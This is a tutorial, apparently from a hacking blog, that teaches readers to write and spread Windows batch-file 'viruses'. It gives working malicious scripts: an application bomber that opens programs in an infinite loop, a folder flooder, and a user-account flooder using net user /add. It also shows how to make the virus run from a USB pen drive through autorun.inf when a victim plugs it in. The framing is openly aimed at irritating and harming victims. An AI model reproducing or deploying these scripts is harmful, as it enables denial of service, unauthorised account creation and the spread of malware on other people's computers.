I could just you give the codes to paste in notepad and ask you to save files with extension .bat and your deadly batch viruses would be ready. But instead of that, I have focused on making the basics of batch files clear and developing the approach to code your own viruses.
What are batch file?
Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.Now type these commands one by one
1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'
We first make a folder/directory 'x', then enter in folder 'x',then make a folder 'y' in folder 'x' .
Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat
Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it.
This means the three commands executed line by line when we ran the batch file
So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.
What can batch viruses do ?
They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affectperformance,disable firewalls,open ports,modify or destroy registry and for many more purposes.
Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).
1. Application Bomber
@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop
This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.
2. Folder flooder
@echo off
:x
md %random% // makes directory/folder.
goto x
Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.
3.User account flooder
@echo off
:x
net user %random% /add //create user account
goto x
This code would start creating windows user accounts whose names could be any random numbers.
Spreading batch viruses through pen drive -:
Step 1.
Open notepad and write
[autorun]
open=anything.bat
Icon=anything.ico
Save file as ‘autorun.inf’
Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .
When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.
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